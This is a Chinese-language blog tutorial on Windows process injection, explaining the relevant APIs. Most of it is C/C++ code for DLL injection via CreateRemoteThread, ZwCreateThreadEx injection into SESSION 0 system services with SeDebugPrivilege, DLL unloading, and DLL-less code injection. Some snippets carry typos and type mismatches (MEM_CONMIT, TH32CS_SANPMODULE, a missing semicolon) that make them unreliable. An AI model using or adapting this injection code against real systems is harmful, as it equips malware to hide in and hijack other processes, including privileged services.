抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

  • 远程线程注入是指一个进程在另一个进程中创建线程的技术。是一种病毒木马所青睐的注入技术。

CreateRemoteThread 远程线程注入

OpenProcess 函数

打开现有的本地进程对象

1
2
3
4
5
6
7
HANDLE
WINAPI
OpenProcess(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
);

OpenProcess

  • dwDesiredAccess: 访问进程对象。此访问权限为针对进程的安全描述符进行检查,此参数可以是一个或多个进程访问权限。
  • bInheritHandle: 此进程创建的进程是否可以继承该句柄
  • dwProcessId: 要打开的本地进程PID

  • 如果函数成功,则返回值是打开指定进程的句柄
  • 如果函数失败,则返回值为NULL

VirtualAllocEx 函数

在指定进程的虚拟地址空间内保留、提交或更改内存状态

1
2
3
4
5
6
7
8
9
LPVOID
WINAPI
VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);

VirtualAllocEx

  • hProcess: 进程句柄。此函数在该进程的虚拟地址空间内分配内存,句柄必须具有PROCESS_VM_OPERATION权限
  • lpAddress: 指定要分配页面所需起始地址的指针。如果lpAddress为NULL,则该函数自动分配内存
  • dwSize: 要分配内存大小,以字节为单位
  • flAllocationType: 内存分配类型。此参数必须为以下值之一
含义
MEM_COMMIT在磁盘分页和整体内存中,为指定预留内存页分配内存
MEM_RESERVE保留进程中虚拟地址空间的范围,但不会在磁盘或内存上的分页文件中分配任何实际物理存储位置
MEM_RESET表示不再关注由lpAddress和dwSize指定的内存范围内的数据,页面不应从页面文件中读取或写入
MEM_RESET_UNDO只能在早期成功应用了MEM_RESET的地址范围内调用MEM_RESET_UNDO
  • flProtect: 要分配的页面区域的内存保护。如果页面已提交,则可以指定任何一个内存保护常量。如果lpAddress指定了一个地址,则flProtect不能是以下值之一
    • PAGE_NOACCESS
    • PAGE_GUARD
    • PAGE_NOCACHE
    • PAGE_WRITECOMBINE

如果函数成功,则返回值是分配页面的基址
如果函数失败,则返回值为NULL

WriteProcessMemory 函数

在指定进程中将数据写入内存区域,要写入的整个区域必须可访问,否则操作失败

1
2
3
4
5
6
7
8
9
BOOL
WINAPI
WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_reads_bytes_(nSize) LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_opt_ SIZE_T* lpNumberOfBytesWritten
);

WriteProcessMemory

  • hProcess: 要修改的进程内存句柄。句柄必须具有PROCESS_VM_WRITE 和 PROCESS_VM_OPERATION访问权限
  • lpBaseAddress: 指向指定进程中写入数据的基地址指针。在数据传输之前,系统会验证指定大小的基地址和内存中的所有数据是否可以进行写入访问,如果不可以访问,则该函数将失败
  • lpBuffer: 指向缓冲区指针。其中包含要写入指定进程的地址空间中的数据
  • nSize: 要写入指定进程的字节数
  • lpNumberOfBytesWritten: 指向变量指针,该变量接收传输到指定进程的字节数。如果lpNumberOfBytesWritten为NULL,则忽略该参数

如果函数成功,则返回值不为零
如果函数失败,则返回值为零

CreateRemoteThread 函数

在另一个进程的虚拟地址空间中创建运行的线程

1
2
3
4
5
6
7
8
9
10
11
HANDLE
WINAPI
CreateRemoteThread(
_In_ HANDLE hProcess,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);

CreateRemoteThread

  • hProcess: 要创建线程的进程句柄。句柄必须具有PROCESS_CREATE_THREADPROCESS_QUERY_INFORMATIONPROCESS_VM_OPERATIONPROCESS_VM_WRITEPEOCESS_VM_READ访问权限
  • lpThreadAttributes: 指向SECURITY_ATTRIBUTES结构的指针,该结构指定新线程的安全描述符,并确定子进程是否可以继承返回的句柄。如果lpThreadAttributes为NULL,则线程将获得默认的安全描述符,并且不能继承该句柄
  • dwStackSize: 堆栈的初始化大小,以字节为单位。如果此参数为0,则新线程使用可执行文件的默认大小
  • lpStartAddress: 指向由线程执行类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针,并表示远程进程中线程的起始地址,该函数必须存在于远程进程中
  • lpParameter: 指向要传递给线程函数的变量指针
  • dwCreationFlags: 控制线程创建的标志,若是0,则表示线程在创建后立即执行
  • lpThreadId: 指向接收线程标识符的变量指针。如果此参数为NULL,则不返回线程标识符

如果函数成功,则返回值是新线程的句柄
如果函数失败,则返回值为NULL

远程线程注入代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BOOL Inject(DWORD dwPid, const WCHAR* szPath)
{
// 打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
// 申请内存
LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 0x100, MEM_CONMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpAddress == 0)
{
printf("VirtualAllocEx Failed");
return FALSE;
}
// 把动态链接库写入到目标内存中
SIZE_T szWriteLength = 0;
WriteProcessMemory(hProcess, lpAddress, szPath, ((wcslen(szPath) + 1) * 2), &szWrithLength);
// 创建远程线程,把LoadLibrary作为回调函数,并且把刚才的地址作为参数进行调用
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryA, lpAddress, NULL, NULL);
if (hThread == 0)
{
printf("CreateRemoteThread Failed");
return FALSE;
}
// 等待线程执行结束
WaitForSingleObject(hThread, -1);
// 清理、释放空间
VirtualFreeEx(hProcess, lpAddress, 0, MEM_RELEASE);
CloseHandle(hProcess);
CloseHandle(hThread);
return TRUE;
}

ZwCreateThreadEx 突破 SESSION 0 隔离的远程线程注入

与传统的CreateRemoteThread函数实现的远程线程注入DLL的唯一区别在于,突破SESSION 0远程线程注入是使用比CreateRemoteThred函数更为底层的ZwCreateThreadEx函数来创建远程线程。ZwCreateThreadEx函数可以突破SESSION 0隔离,将DLL成功注入到SESSION 0隔离的系统服务进程中。其中ZwCreateThreadExntdll.dll中并没有声明,所以需要使用GetProcAddressntdll.dll中获取该函数的导出地址

函数声明

64位系统下函数声明

1
2
3
4
5
6
7
8
9
10
11
12
13
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
)

32位系统下函数声明

1
2
3
4
5
6
7
8
9
10
11
12
13
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown
)

ZwCreateThreadEx 注入代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
BOOL ZwCreateThreadExInjectDll(DWORD dwPid, char* szDllPath)
{
// 打开进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if(hProcess == NULL)
{
printf("OpenProcess Failed\n");
return FALSE;
}
// 在目标进程申请内存
DWORD dwSize = 1 + lstrlen(szDllPath);
LPVOID lpDllAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
// 将数据写入目标进程
if (FALSE == WriteProcessMemory(hProcess, lpDllAddress, szDllPath, dwSize, NULL))
{
printf("WriteProcessMemory Failed\n");
return FALSE;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
// 获取ntdll.dll
HMODULE hNtDll = LoadLibrary("ntdll.dll");
if(hNtDll == NULL)
{
printf("Load ntdll Failed\n");
return FALSE;
}
// 获取LoadLibrary地址
FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if(pFuncProcAddr == NULL)
{
printf("Get LoadLibrary Failed\n");
return FALSE;
}
// 获取ZwCreateThreadEx地址
typedef_ZwCreateThreadEx zwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtDll, "ZwCreateThreadEx");
HANDLE hRemoteThread = 0;
DWORD dwZwCreateThreadEx = zwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpDllAddress, 0, 0, 0, 0, NULL);
if(hRemoteThread == NULL)
{
printf("zwCreateThreadEx Failed\n");

return FALSE;
}
// 关闭句柄
VirtualFreeEx(hProcess, lpDllAddress, 0, MEM_RELEASE);
CloseHandle(hProcess);
CloseHandle(hRemoteThread);

return TRUE;
}

// OpenProcess打开高权限的进程需要提权
BOOL EnablePrivileges(HANDLE hProcess, const char* pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
// 打开进程令牌并获取进程令牌句柄
bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (FALSE == bRet)
{
printf("OpenProcessToken");
return FALSE;
}
// 获取本地系统的 pszPrivilegesName 特权的LUID值
bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
if (FALSE == bRet) {
printf("LookupPrivilegeValue");
return FALSE;
}
// 设置提升权限信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升进程令牌访问权限
bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
if (FALSE == bRet) {
printf("AdjustTokenPrivileges");
return FALSE;
}
else {
// 根据错误码判断是否特权都设置成功
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet) {
printf("SUCCESS!!\n");
return TRUE;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet) {
printf("ERROR_NOT_ALL_ASSIGNED");
return FALSE;
}
}
return FALSE;
}

int main()
{
HANDLE hProcess = GetCurrentProcess();
EnablePrivileges(hProcess, SE_DEBUG_NAME);

const char* szDllPath = "C:\\Users\\dell\\OneDrive\\桌面\\Dll1.dll";
ZwCreateThreadExInjectDll(1364, szDllPath);

system("pause");
return 0;
}

卸载被注入的DLL文件

FreeLibrary 函数

1
2
3
4
5
BOOL
WINAPI
FreeLibrary(
_In_ HMODULE hLibModule // dll 模块句柄
);

FreeLibrary

  • FreeLibrary函数使用的模块句柄可以通过前面介绍的Module32FirstModule32Next两个函数获取,需要用到MODULEENTRY32结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct tagMODULEENTRY32
{
DWORD dwSize;
DWORD th32ModuleID; // This module
DWORD th32ProcessID; // owning process
DWORD GlblcntUsage; // Global usage count on the module
DWORD ProccntUsage; // Module usage count in th32ProcessID's context
BYTE * modBaseAddr; // Base address of module in th32ProcessID's context
DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr
HMODULE hModule; // The hModule of this module in th32ProcessID's context
char szModule[MAX_MODULE_NAME32 + 1];
char szExePath[MAX_PATH];
} MODULEENTRY32;

MODULEENTRY32

  • hModule: 模块句柄
  • szModule: 模块名称
  • szExePath: 完整的模块的路径(包括路径和模块名称)

卸载DLL文件代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
VOID UnInjectDll(DWORD dwPid, char* szDllName)
{
if(dwPid == 0 || lstrlen(szDllName) == 0)
{
return;
}
// 拍摄进程快照,需要包含TlHelp32.h头文件
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SANPMODULE, dwPid)
MODULEENTRY32 me32;
me32.dwSize = sizeof(me32);
// 查找匹配的模块名
BOOL bRet = Module32First(hSnap, &me32);
while (bRet)
{
if(lstrcmp(strupr(me32.szExePath), strupr(szDllName)) == 0)
{
break;
}
bRet = Module32Next(hSnap, &me32);
}
CloseHandle(hSnap);
// 打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
// 获取FreeLibrary函数地址
FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "FreeLibrary");
// 卸载dll
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, me32.hModule, 0, NULL);
//
WaitForSingleObject(hThread, INFINITE);
// 关闭句柄
CloseHandle(hProcess);
CloseHandle(hThread);
return;
}

无DLL的代码注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#include <iostream>
#include <Windows.h>

constexpr auto STRLEN = 20;

typedef struct _Data {
FARPROC dwLoadLibrary;
FARPROC dwGetProcAddress;
FARPROC dwGetModuleHandle;
FARPROC dwGetModuleFileName;

char User32Dll[STRLEN];
char MessageBox[STRLEN];
char Str[STRLEN];
}DATA, *PDATA;

DWORD WINAPI RemoteThreadProc(LPVOID lpParam)
{
PDATA pData = (PDATA)lpParam;
// 定义API函数原型
HMODULE(__stdcall * MyLoadLibrary)(LPCTSTR);
FARPROC(__stdcall * MyGetProcAddress)(HMODULE, LPCSTR);
HMODULE(__stdcall * MyGetModuelHandle)(LPCTSTR);
int(__stdcall * MyMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT);
DWORD(__stdcall * MyGetModuleFileName)(HMODULE, LPTSTR, DWORD);
// 对各函数地址进行赋值
MyLoadLibrary = (HMODULE(__stdcall*)(LPCTSTR))pData->dwLoadLibrary;
MyGetProcAddress = (FARPROC(__stdcall*)(HMODULE, LPCSTR))pData->dwGetProcAddress;
MyGetModuelHandle = (HMODULE(__stdcall*)(LPCTSTR))pData->dwGetModuleHandle;
MyGetModuleFileName = (DWORD(__stdcall*)(HMODULE, LPTSTR, DWORD))pData->dwGetModuleFileName;
// 加载user32.dll
HMODULE hModule = MyLoadLibrary((LPCTSTR)pData->User32Dll);
MyMessageBox = (int(__stdcall*)(HWND, LPCTSTR, LPCTSTR, UINT))MyGetProcAddress(hModule, pData->MessageBox);
char szModuleFileName[MAX_PATH] = { 0 };
MyGetModuleFileName(hModule, (LPTSTR)szModuleFileName, MAX_PATH);
MyMessageBox(NULL, (LPCTSTR)pData->Str, (LPCTSTR)szModuleFileName, MB_OK);
return 0;

}

VOID noDllInjectCode(DWORD dwPid)
{
// 打开进程获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
printf("OpenProcess Failed\n");
return;
}
DATA Data = { 0 };
// 获取kernel32.dll中相关的导出函数
Data.dwLoadLibrary = GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibraryA");
Data.dwGetProcAddress = GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "GetProcAddress");
Data.dwGetModuleHandle = GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "GetModuleHandleA");
Data.dwGetModuleFileName = GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "GetModuleFileNameA");
// 需要其他DLL和导出函数
lstrcpy((LPSTR)Data.User32Dll, TEXT("user32.dll"));
lstrcpy((LPSTR)Data.MessageBox, TEXT("MessageBoxA"));
lstrcpy((LPSTR)Data.Str, TEXT("Dokey Inject Code"));

// 在目标进程申请内存空间
LPVOID lpData = VirtualAllocEx(hProcess, NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpData == NULL)
{
printf("VirtualAllocEx1 Failed\n");
return;
}
// 将数据写入目标内存中
SIZE_T dwWriteLen = 0;
BOOL bRet = WriteProcessMemory(hProcess, lpData, &Data, sizeof(Data), &dwWriteLen);
if (bRet == FALSE)
{
printf("WriteProcessMemory Failed\n");
return;
}
// 在目标进程申请内存用于保存代码长度
DWORD dwFunction = 0x4000;
LPVOID lpCode = VirtualAllocEx(hProcess, NULL, dwFunction, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpCode == NULL)
{
printf("VirtualAllocEx2 Failed\n");
return;
}
bRet = WriteProcessMemory(hProcess, lpCode, &RemoteThreadProc, dwFunction, &dwWriteLen);
if (bRet == FALSE)
{
printf("WriteProcessMemory Failed\n");
return;
}
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpCode, lpData, 0, NULL);
if (hThread == NULL)
{
printf("CreateRemoteThread Failed\n");
return;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return;
}

int main()
{
noDllInjectCode(3076);

system("pause");
return 0;
}

评论